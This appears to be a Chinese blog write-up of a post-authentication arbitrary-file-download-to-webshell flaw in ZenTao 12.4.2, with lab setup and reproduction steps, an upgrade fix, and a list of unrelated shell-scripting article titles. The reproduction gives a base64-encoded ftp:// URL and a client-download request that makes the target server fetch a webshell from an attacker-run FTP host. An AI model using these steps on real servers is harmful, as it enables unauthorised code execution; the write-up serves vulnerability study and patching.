禅道12.4.2后台管理员权限Getshell
0x00简介
禅道是一款专业的国产开源研发项目管理软件,集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体,完整覆盖了研发项目管理的核心流程。管理思想基于国际流行的敏捷项目管理方法——Scrum,在遵循其价值观的基础上,结合国内项目研发现状,整合了任务管理、需求管理、Bug管理、用例管理等多种功能,覆盖软件从计划到发布的整个生命周期。
0x01漏洞概述
禅道12.4.2版本存在任意文件下载漏洞,该漏洞是因为client类中download方法中过滤不严谨可以使用ftp达成下载文件的目的。且下载文件存储目录可解析php文件,造成getshell。
0x02影响版本
禅道≤ 12.4.2
0x03环境搭建
phpstudy2018 + 禅道12.4.2 禅道官方下载地址:
https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html
1. 下载完成后,放入phpstudy中安装即可
2. 检查扩展,要是存在未通过的扩展,在phpstudy中开启扩展即可。
3.设置数据库信息,这里设置成自己的数据库配置。
4.设置账号安装完成
二.利用环境搭建,开启ftp服务,以windows2008R2为例,在添加角色,添加ftp
2.然后在Internet信息服务下的网站添加ftp服务。
3.根据自己的情况配置,下一步即可
4.在ftp目录下放一个webshell然后浏览器查看ftp是否可以正常访问
0x04漏洞复现
1.首先把ftp加上shell的路径进行base64编码
加密前: ftp://192.168.3.200/shell.php
加密后: ZnRwJTNBLy8xOTIuMTY4LjMuMjAwL3NoZWxsLnBocA==
2.使用EXP,把加密后的base64放入exp中的<>里
http://127.0.0.1/zentaopms/www/index.php/client-download-1--1.html
3.使用以下链接路径测试是否shell已下载到服务器
http://192.168.3.200/zentaopms/www/data/client/1/shell.php
0x05修复方式
1、升级到禅道12.4.3及之后的版本
参考链接:
https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247486478&idx=1&sn=57a0869952871b4cb2208b3f00805805&chksm=90392afea74ea3e8ca541c03188acf1c040eef713b43b0fed859ae08e1f4de8851f4fc7494bf&scene=126&sessionid=1605515642&key=9f9748e97f7020ea31a9c0c8f32aa1d443f372c8cab7a0c1687b15e2cdd71591830331914b5e9db86da316caa78937f06aa84acd5a8bf68ffa5fad21d077aa056205c1550766c062b5f34d298f67cb47d7d91a152a946389e49a8d23615d297a880d5caa3037843482b11d86959e49154d1de3cbb3fee89a422f27fc70dcbdd6&ascene=1&uin=MjExMzQ5OTU0NA%3D%3D&devicetype=Windows+10+x64&version=6300002f&lang=zh_CN& 14ec1 ;exportkey=AwiFaH723ETkE%2B2Xm4tOMgM%3D&pass_ticket=XDnsqoA66vGvzDmXs%2FktEdV3f%2FVYcxQuFlo8sg0GEMoZHOCJcMWys2%2Bavcfaf6Jy&wx_header=0
- 利用官网getshell
- SHELL 脚本编程基础
- shell脚本实现磁盘监控系统
- 一键配置本地yum源的shell脚本
- Shell文本处理三剑客之sed的使用
- Shell用sed命令删除特定行的方法
- 详解NC反弹shell的几种方法
- shell模糊匹配与正则详解
- shell之定时周期性执行脚本的方法示例
- shell 判断字符串是否存在数组中的实现示例
- shell语言date的用法实例
- shell脚本中$符号的命令使用汇总
- ansible常用模块介绍:shell
- 利用数据库拿shell的一些姿势
- 够用的 shell 脚本
- 用 shell 脚本做 restful api 接口监控
- PHP执行普通shell命令流程解析
- Bash技巧:把变量赋值为换行符(判断文件是否以换行符结尾)
- 详解shell 变量
- 浅谈Shell中的函数